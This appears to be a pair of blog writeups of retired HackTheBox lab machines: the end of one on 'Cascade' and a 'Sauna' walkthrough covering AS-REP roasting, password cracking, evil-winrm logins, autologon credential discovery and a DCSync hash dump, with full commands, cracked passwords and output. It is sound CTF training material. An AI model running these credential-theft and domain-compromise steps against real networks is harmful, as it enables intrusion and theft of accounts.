<div class="highlight"><pre><span></span><code>//<span class="w"> </span>Token:<span class="w"> </span>0x06000013<span class="w"> </span>RID:<span class="w"> </span>19<span class="w"> </span>RVA:<span class="w"> </span>0x00002360<span class="w"> </span>File<span class="w"> </span>Offset:<span class="w"> </span>0x00000760
public<span class="w"> </span>static<span class="w"> </span>string<span class="w"> </span>DecryptString(string<span class="w"> </span>EncryptedString,<span class="w"> </span>string<span class="w"> </span>Key)
{
<span class="w"> </span>byte[]<span class="w"> </span>array<span class="w"> </span>=<span class="w"> </span>Convert.FromBase64String(EncryptedString);
<span class="w"> </span>Aes<span class="w"> </span>aes<span class="w"> </span>=<span class="w"> </span>Aes.Create();
<span class="w"> </span>aes.KeySize<span class="w"> </span>=<span class="w"> </span>128;
<span class="w"> </span>aes.BlockSize<span class="w"> </span>=<span class="w"> </span>128;
<span class="w"> </span>aes.IV<span class="w"> </span>=<span class="w"> </span>Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
<span class="w"> </span>aes.Mode<span class="w"> </span>=<span class="w"> </span>CipherMode.CBC;
<span class="w"> </span>aes.Key<span class="w"> </span>=<span class="w"> </span>Encoding.UTF8.GetBytes(Key);
<span class="w"> </span>string<span class="w"> </span>@string;
<span class="w"> </span>using<span class="w"> </span>(MemoryStream<span class="w"> </span>memoryStream<span class="w"> </span>=<span class="w"> </span>new<span class="w"> </span>MemoryStream(array))
<span class="w"> </span>{
<span class="w"> </span>using<span class="w"> </span>(CryptoStream<span class="w"> </span>cryptoStream<span class="w"> </span>=<span class="w"> </span>new<span class="w"> </span>CryptoStream(memoryStream,<span class="w"> </span>aes.CreateDecryptor(),<span class="w"> </span>CryptoStreamMode.Read))
<span class="w"> </span>{
<span class="w"> </span>byte[]<span class="w"> </span>array2<span class="w"> </span>=<span class="w"> </span>new<span class="w"> </span>byte[checked(array.Length<span class="w"> </span>-<span class="w"> </span>1<span class="w"> </span>+<span class="w"> </span>1)];
<span class="w"> </span>cryptoStream.Read(array2,<span class="w"> </span>0,<span class="w"> </span>array2.Length);
<span class="w"> </span>@string<span class="w"> </span>=<span class="w"> </span>Encoding.UTF8.GetString(array2);
<span class="w"> </span>}
<span class="w"> </span>}
<span class="w"> </span>return<span class="w"> </span>@string;
}
</code></pre></div>
<p>Here is the <a href="https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)AES_Decrypt(%7B'option':'UTF8','string':'c4scadek3y654321'%7D,%7B'option':'UTF8','string':'1tdyjCbY1Ix49842'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D)&input=QlFPNWw1S2o5TWRFclh4NlE2QUdPdz09">CyberChef recipe</a> to decode the password: <code>w3lc0meFr31nd</code>.</p>
<p>From there we can can connect with the <code>ArkSvc</code> account using
<a href="https://github.com/Hackplayers/evil-winrm">evil-winrm</a> and enumerate our
permissions.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~/tools/github/evil-winrm$ ruby ./evil-winrm.rb -i 10.10.10.182 -u ArkSvc -p w3lc0meFr31nd
Evil-WinRM shell v1.8
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\arksvc\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
============== ==============================================
cascade\arksvc S-1-5-21-3332504370-1206983947-1165150453-1106
GROUP INFORMATION
-----------------
Group Name
===========================================
Everyone
BUILTIN\Users
BUILTIN\Pre-Windows 2000 Compatible Access
NT AUTHORITY\NETWORK
NT AUTHORITY\Authenticated Users
NT AUTHORITY\This Organization
CASCADE\Data Share
CASCADE\IT
CASCADE\AD Recycle Bin
CASCADE\Remote Management Users
NT AUTHORITY\NTLM Authentication
Mandatory Label\Medium Plus Mandatory Level
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
</code></pre></div>
<p>We are in the group <code>AD Recycle Bin</code>. A few Google research lead us to
<a href="https://docs.microsoft.com/en-us/archive/blogs/askds/the-ad-recycle-bin-understanding-implementing-best-practices-and-troubleshooting">a Microsoft article about AD recycle bin</a>.</p>
<p>We execute the Powershell command to list the deleted objects and see some
<code>cascadeLegacyPwd</code> filed for the user <code>TempAdmin</code>.</p>
<div class="highlight"><pre><span></span><code>*Evil-WinRM* PS C:\Users\arksvc\Desktop> Get-ADObject -filter 'isdeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property *
<snip>
CanonicalName : cascade.local/Deleted Objects/User
DEL:746385f2-e3a0-4252-b83a-5a206da0ed88
CN : User
DEL:746385f2-e3a0-4252-b83a-5a206da0ed88
Created : 1/26/2020 2:34:31 AM
createTimeStamp : 1/26/2020 2:34:31 AM
Deleted : True
Description :
DisplayName :
DistinguishedName : CN=User\0ADEL:746385f2-e3a0-4252-b83a-5a206da0ed88,CN=Deleted Objects,DC=cascade,DC=local
dSCorePropagationData : {1/1/1601 12:00:00 AM}
instanceType : 4
isDeleted : True
LastKnownParent : CN={A403B701-A528-4685-A816-FDEE32BDDCBA}\0ADEL:ff5c2fdc-cc11-44e3-ae4c-071aab2ccc6e,CN=Deleted Objects,DC=cascade,DC=local
Modified : 1/26/2020 2:40:52 AM
modifyTimeStamp : 1/26/2020 2:40:52 AM
msDS-LastKnownRDN : User
Name : User
DEL:746385f2-e3a0-4252-b83a-5a206da0ed88
nTSecurityDescriptor : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory :
ObjectClass : container
ObjectGUID : 746385f2-e3a0-4252-b83a-5a206da0ed88
ProtectedFromAccidentalDeletion : False
sDRightsEffective : 0
showInAdvancedViewOnly : True
uSNChanged : 196700
uSNCreated : 196690
whenChanged : 1/26/2020 2:40:52 AM
whenCreated : 1/26/2020 2:34:31 AM
accountExpires : 9223372036854775807
badPasswordTime : 0
badPwdCount : 0
CanonicalName : cascade.local/Deleted Objects/TempAdmin
DEL:f0cc344d-31e0-4866-bceb-a842791ca059
cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz
CN : TempAdmin
DEL:f0cc344d-31e0-4866-bceb-a842791ca059
codePage : 0
countryCode : 0
Created : 1/27/2020 3:23:08 AM
createTimeStamp : 1/27/2020 3:23:08 AM
Deleted : True
Description :
DisplayName : TempAdmin
DistinguishedName : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
dSCorePropagationData : {1/27/2020 3:23:08 AM, 1/1/1601 12:00:00 AM}
givenName : TempAdmin
instanceType : 4
isDeleted : True
LastKnownParent : OU=Users,OU=UK,DC=cascade,DC=local
lastLogoff : 0
lastLogon : 0
logonCount : 0
Modified : 1/27/2020 3:24:34 AM
modifyTimeStamp : 1/27/2020 3:24:34 AM
msDS-LastKnownRDN : TempAdmin
Name : TempAdmin
DEL:f0cc344d-31e0-4866-bceb-a842791ca059
nTSecurityDescriptor : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory :
ObjectClass : user
ObjectGUID : f0cc344d-31e0-4866-bceb-a842791ca059
objectSid : S-1-5-21-3332504370-1206983947-1165150453-1136
primaryGroupID : 513
ProtectedFromAccidentalDeletion : False
pwdLastSet : 132245689883479503
sAMAccountName : TempAdmin
sDRightsEffective : 0
userAccountControl : 66048
userPrincipalName : TempAdmin@cascade.local
uSNChanged : 237705
uSNCreated : 237695
whenChanged : 1/27/2020 3:24:34 AM
whenCreated : 1/27/2020 3:23:08 AM
</snip></code></pre></div>
<p>We decode the base64 filed and found some password.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ echo -ne 'YmFDVDNyMWFOMDBkbGVz' | base64 -d
baCT3r1aN00dles
</code></pre></div>
<p>My first idea was to restore the object but it seems that this is not possible.</p>
<div class="highlight"><pre><span></span><code>*Evil-WinRM* PS C:\Users\arksvc\Documents> Get-ADObject -Filter 'samaccountname -eq "TempAdmin"' -IncludeDeletedObjects | Restore-ADObject
Insufficient access rights to perform the operation
At line:1 char:81
+ ... ccountname -eq "TempAdmin"' -IncludeDeletedObjects | Restore-ADObject
+ ~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (CN=TempAdmin\0A...ascade,DC=local:ADObject) [Restore-ADObject], ADException
+ FullyQualifiedErrorId : 0,Microsoft.ActiveDirectory.Management.Commands.RestoreADObject
</code></pre></div>
<p>Therefore I just tried to connect as <code>administrator</code> hoping for password reuse,
it worked and I was able to get the root flag..</p>
<div class="highlight"><pre><span></span><code>kali@kali:~/tools/github/evil-winrm$ ruby ./evil-winrm.rb -i 10.10.10.182 -u administrator -pbaCT3r1aN00dles
Evil-WinRM shell v1.8
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
86e93219a4f189663d558122a087a4c3
</code></pre></div>
<h2>Wrapping up</h2>
<p>This box was fun as there was a lot of different stuff and everything went
smoothly. The only painful part is the dig into the <code>ldapsearch</code> results as the
file is quit long (6 363 lines).</p>HTB: Sauna2020-07-22T09:35:00+02:002020-07-22T09:35:00+02:00maggicktag:maggick.fr,2020-07-22:/2020/07/htb-sauna.html<p><img alt="Sauna card" class="align-left" src="/media/2020.07/sauna_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/229">Sauna</a> published on
February the 15th 2020 by
<a href="https://www.hackthebox.com/home/users/profile/94858">egotisticalSW</a>
This box is classified as an easy machine. This box has a lot of similarities
with <a href="https://maggick.fr/2020/03/htb-forest.html">forest</a>: The user part require some smart enumeration. The
second user also require to enumerate the box and the root part is a "simple"
exploitation of the second user's privileges.</p>
<p><img alt="Sauna card" class="align-left" src="/media/2020.07/sauna_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/229">Sauna</a> published on
February the 15th 2020 by
<a href="https://www.hackthebox.com/home/users/profile/94858">egotisticalSW</a>
This box is classified as an easy machine. This box has a lot of similarities
with <a href="https://maggick.fr/2020/03/htb-forest.html">forest</a>: The user part require some smart enumeration. The
second user also require to enumerate the box and the root part is a "simple"
exploitation of the second user's privileges.</p>
<h1>User</h1>
<h2>Recon</h2>
<p>We start with an nmap scan. As always with the Windows boxes, a lot of services
are exposed by the box.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Mon Feb 17 08:29:26 2020 as: nmap -p- -sS -oN nmap_ss 10.10.10.175
Nmap scan report for 10.10.10.175
Host is up (0.27s latency).
Not shown: 65515 filtered ports
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49671/tcp open unknown
49681/tcp open unknown
57381/tcp open unknown
# Nmap done at Mon Feb 17 08:43:53 2020 -- 1 IP address (1 host up) scanned in 867.44 seconds
</code></pre></div>
<p>We run a version scan on the open ports. There is a IIS web server on port 80:</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Mon Feb 17 08:45:29 2020 as: nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49669,49670,49671,49681,57381 -sSV -oN nmap_ssv 10.10.10.175
Nmap scan report for 10.10.10.175
Host is up (0.31s latency).
PORT STATE SERVICE VERSION
53/tcp open domain?
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-02-17 21:45:22Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc Microsoft Windows RPC
49681/tcp open msrpc Microsoft Windows RPC
57381/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=2/17%Time=5E4A9906%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb 17 08:48:06 2020 -- 1 IP address (1 host up) scanned in 156.46 seconds
</code></pre></div>
<h2>Web</h2>
<p>The website is about the Egotistical Bank.</p>
<p><img alt="Sauna website" class="image-process-article-image" src="/media/2020.07/derivatives/article-image/sauna_01.png"/></p>
<p>The only "interesting" page is the "about" page where we can get a list of the
"amazing" team.</p>
<p><img alt="Sauna the " amazing"="" class="image-process-article-image" src="/media/2020.07/derivatives/article-image/sauna_02.png" team"=""/></p>
<p>We get the teams members and put them in a file. We try to guess the name
convention use by the company. For instance, for the employee John Doe we try
"john.doe", "jdoe", "jodoe". This give use a list of possible users as the
following:</p>
<div class="highlight"><pre><span></span><code>fergus.smith
hugo.bear
steven.kerb
shaun.coins
bowie.taylor
sophie.driver
fsmith
hbear
skerb
scoins
btaylor
sdriver
fesmith
hubear
stkerb
shcoins
botaylor
sodriver
</code></pre></div>
<p>We launch <a href="https://github.com/SecureAuthCorp/impacket/">impacket's</a> script
<code>GetNPUsers.py</code> against our users list. We get the krb5tgs/Kerberoasting hash of the fsmith
user.</p>
<div class="highlight"><pre><span></span><code>python GetNPUsers.py -dc-ip 10.10.10.175 egotisticalbank/ -usersfile ~/pentest/htb_sauna/users
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
$krb5asrep$23$fsmith@EGOTISTICALBANK:7737b8e55d1ac7976a01e619a1268567$268f28ec59cfeda91a139f8f8c2c5cb9679d0dc04ba133f031b3021ebbd203888cd12633a0e604ad28420ff3fe41694d38f55b434bbe2af2b7ee0958a9a5705e4a880e2ecebb74a4d1aca73371cfcb73fb54a61520392d76079cc32bf3e128b87e3450d68361a84b4c686104e2fe13dc3cd7bd381a5ac87737ab8b95908bf0be409c7642fcfac3599aca04d19fd0f25f7bb4908a6fb496975f68ee3a4761ca406a43502b86410774127f25a5dc14c76dde7ac458df451dbcb093c4c6d069406e98c4839ecd6a0952a0850c289fab93e29682ec64cb690add83d0c6986c8f078bf25e53662f7d7fcc2c1e4740554036218a71320da2067a1298
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
</code></pre></div>
<p>We crack that hash using John and the Rockyou dictionary getting fsmith
password.</p>
<div class="highlight"><pre><span></span><code>john hash -w=tools/password_lists/rockyou.txt
Warning: detected hash type "krb5asrep", but the string is also recognized as "krb5asrep-aes-opencl"
Use the "--format=krb5asrep-aes-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Thestrokes23 ($krb5asrep$23$fsmith@EGOTISTICALBANK)
1g 0:00:00:19 DONE (2020-02-17 15:33) 0.05235g/s 551780p/s 551780c/s 551780C/s Thines..Thehulk2008
Use the "--show" option to display all of the cracked passwords reliably
Session completed
</code></pre></div>
<p>We connect on the box with our fsmith account using
<a href="https://github.com/Hackplayers/evil-winrm">evil-winrm</a>. And get the user flag
on his desktop.</p>
<div class="highlight"><pre><span></span><code>ruby evil-winrm.rb -u fsmith -i 10.10.10.175 -p 'Thestrokes23'
Evil-WinRM shell v1.8
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\FSmith\Documents> cat ../Desktop/user.txt
1b5520b98d97cf17f24122a55baf70cf
</code></pre></div>
<h1>Getting root</h1>
<h2>Getting svc_loanmgr</h2>
<p>We take a look at the other users on the box using <code>net user</code>.</p>
<div class="highlight"><pre><span></span><code>*Evil-WinRM* PS C:\Users\FSmith\Documents> net user
User accounts for \\
-------------------------------------------------------------------------------
Administrator FSmith Guest
HSmith krbtgt svc_loanmgr
The command completed with one or more errors.
</code></pre></div>
<p>We upload
<a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite">winPEAS.exe</a>
from the Privilege Escalation Awesome Scripts SUITE and run it on the box.</p>
<p>It found some AutoLogon credetials for the account <code>svc_loanmgr</code>.</p>
<div class="highlight"><pre><span></span><code>[+] Looking for AutoLogon credentials(T1012)
Some AutoLogon credentials were found!!
DefaultDomainName : EGOTISTICALBANK
DefaultUserName : EGOTISTICALBANK\svc_loanmanager
DefaultPassword : Moneymakestheworldgoround!
</code></pre></div>
<p>We connect on the box with the svc_loanmgr account using
<a href="https://github.com/Hackplayers/evil-winrm">evil-winrm</a>.</p>
<div class="highlight"><pre><span></span><code>ruby evil-winrm.rb -u svc_loanmgr -i 10.10.10.175 -p 'Moneymakestheworldgoround!'
Evil-WinRM shell v1.8
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents>
</code></pre></div>
<h2>Enumerating our user's privileges</h2>
<p>We run the <code>whoami /all</code> command to list our user permissions but there is
nothing interesting here: As the <a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/user-rights-assignment">Microsoft documentation</a>
point out all our privileges and group are legitimate.</p>
<div class="highlight"><pre><span></span><code>*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
=========================== ==============================================
egotisticalbank\svc_loanmgr S-1-5-21-2966785786-3096785034-1186376766-1108
GROUP INFORMATION
-----------------
mGroup Name Type SID Attributes
=========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
nNT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> WHOAMI /PRIV
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
</code></pre></div>
<h2>Getting AD privileges</h2>
<p>We need to list our AD privileges.
We upload <a href="https://github.com/sense-of-security/ADRecon">ADRecon</a> powershell
script on the box, run it and download the results.</p>
<p>(for more information about AD attacks: <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md">payloadallthethings</a>.)</p>
<div class="highlight"><pre><span></span><code>*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> upload /root/pentest/ADRecon.ps1 .\
Info: Uploading /root/pentest/ADRecon.ps1 to .\
Data: 835464 bytes of 835464 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> .\ADRecon.ps1
[*] ADRecon v1.1 by Prashant Mahajan (@prashant3535)
Access denied
At C:\Users\svc_loanmgr\Documents\ADRecon.ps1:11249 char:25
+ ... $computer = Get-CimInstance -ClassName Win32_ComputerSystem
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (root\cimv2:Win32_ComputerSystem:String) [Get-CimInstance], CimException
+ FullyQualifiedErrorId : HRESULT 0x80041003,Microsoft.Management.Infrastructure.CimCmdlets.GetCimInstanceCommand
Computer Role could not be identified.
Cannot find a variable with the name 'computerrole'.
At C:\Users\svc_loanmgr\Documents\ADRecon.ps1:11292 char:5
+ Remove-Variable computerrole
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (computerrole:String) [Remove-Variable], ItemNotFoundException
+ FullyQualifiedErrorId : VariableNotFound,Microsoft.PowerShell.Commands.RemoveVariableCommand
[*] Running on \SAUNA -
[*] Commencing - 02/19/2020 15:41:03
[-] Domain
[-] Forest
[-] Trusts
[-] Sites
[-] Subnets
[-] Default Password Policy
[-] Fine Grained Password Policy - May need a Privileged Account
[-] Domain Controllers
[-] Users - May take some time
[-] User SPNs
[-] PasswordAttributes - Experimental
[-] Groups - May take some time
[-] Group Memberships - May take some time
[-] OrganizationalUnits (OUs)
[-] GPOs
[-] gPLinks - Scope of Management (SOM)
[-] DNS Zones and Records
[-] Printers
[-] Computers - May take some time
[-] Computer SPNs
[-] LAPS - Needs Privileged Account
Warning: [*] LAPS is not implemented.
[-] BitLocker Recovery Keys - Needs Privileged Account
[-] ACLs - May take some time
Warning: [*] SACLs - Currently, the module is only supported with LDAP.
[-] GPOReport - May take some time
[*] Total Execution Time (mins): 0.69
[*] Output Directory: C:\Users\svc_loanmgr\Documents\ADRecon-Report-20200219154103
Warning: [Get-ADRExcelComObj] Excel does not appear to be installed. Skipping generation of ADRecon-Report.xlsx. Use the -GenExcel parameter to generate the ADRecon-Report.xslx on a host with Microsoft Excel installed.
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> download ADRecon-Report-20200219154103 /tmp/adrecon
Info: Downloading ADRecon-Report-20200219154103 to /tmp/adrecon
Info: Download successful!
</code></pre></div>
<p>We look at our user permissions and found that it has the AD privilege
<a href="https://docs.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes">DS-Replication-Get-Changes</a>
which allows to replicate changes from a given NC.</p>
<div class="highlight"><pre><span></span><code>grep svc CSV-Files/*
CSV-Files/AboutADRecon.csv:"Ran as user","svc_loanmgr"
CSV-Files/DACLs.csv:"EGOTISTICAL-BANK","Domain","All","All","ReadProperty, GenericExecute","Allow","EGOTISTICALBANK\svc_loanmgr","Administrators","False","None","None","None","None","00000000-0000-0000-0000-000000000000","00000000-0000-0000-0000-000000000000","EGOTISTICALBANK\svc_loanmgr","S-1-5-32-544","DC=EGOTISTICAL-BANK,DC=LOCAL"
CSV-Files/DACLs.csv:"EGOTISTICAL-BANK","Domain","DS-Replication-Get-Changes","All","ExtendedRight","Allow","EGOTISTICALBANK\svc_loanmgr","Administrators","False","ObjectAceTypePresent","None","None","None","1131f6aa-9c07-11d1-f79f-00c04fc2dcd2","00000000-0000-0000-0000-000000000000","EGOTISTICALBANK\svc_loanmgr","S-1-5-32-544","DC=EGOTISTICAL-BANK,DC=LOCAL"
CSV-Files/DACLs.csv:"EGOTISTICAL-BANK","Domain","DS-Replication-Get-Changes-All","All","ExtendedRight","Allow","EGOTISTICALBANK\svc_loanmgr","Administrators","False","ObjectAceTypePresent","None","None","None","1131f6ad-9c07-11d1-f79f-00c04fc2dcd2","00000000-0000-0000-0000-000000000000","EGOTISTICALBANK\svc_loanmgr","S-1-5-32-544","DC=EGOTISTICAL-BANK,DC=LOCAL"
CSV-Files/GroupMembers.csv:"Domain Users","svc_loanmgr","L Manager","user"
CSV-Files/GroupMembers.csv:"Remote Management Users","svc_loanmgr","L Manager","user"
CSV-Files/Users.csv:"svc_loanmgr","L Manager","True","False","False","True","False","False","True","False",,,,"False","False","0","25","False","False","False","False","False",,,,,,"513","S-1-5-21-2966785786-3096785034-1186376766-1108","","","","","","","","2/19/2020 3:39:15 PM","1/24/2020 3:48:31 PM",,,"","",,,,"66048","L","","Manager","","1/24/2020 3:48:31 PM","2/19/2020 3:39:15 PM","CN=L Manager,CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL","EGOTISTICAL-BANK.LOCAL/Users/
</code></pre></div>
<h2>DCSync</h2>
<p>This extended privilege allow us to <a href="https://adsecurity.org/?p=1729">run DCSync attack</a>.
For that we use
<a href="https://github.com/SecureAuthCorp/impacket/">impacket's secretdump.py</a> to get
the users' passwords hashes and mostly the <code>administrator</code>'s password hash.</p>
<div class="highlight"><pre><span></span><code>python secretsdump.py 'egotisticalbank.local/svc_loanmgr:Moneymakestheworldgoround!@10.10.10.175'
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:7a2965077fddedf348d938e4fa20ea1b:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:987e26bb845e57df4c7301753f6cb53fcf993e1af692d08fd07de74f041bf031
Administrator:aes128-cts-hmac-sha1-96:145e4d0e4a6600b7ec0ece74997651d0
Administrator:des-cbc-md5:19d5f15d689b1ce5
krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24
krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9
krbtgt:des-cbc-md5:c170d5dc3edfc1d9
EGOTISTICAL-BANK.LOCAL\HSmith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324
EGOTISTICAL-BANK.LOCAL\HSmith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9
EGOTISTICAL-BANK.LOCAL\HSmith:des-cbc-md5:1c73b99168d3f8c7
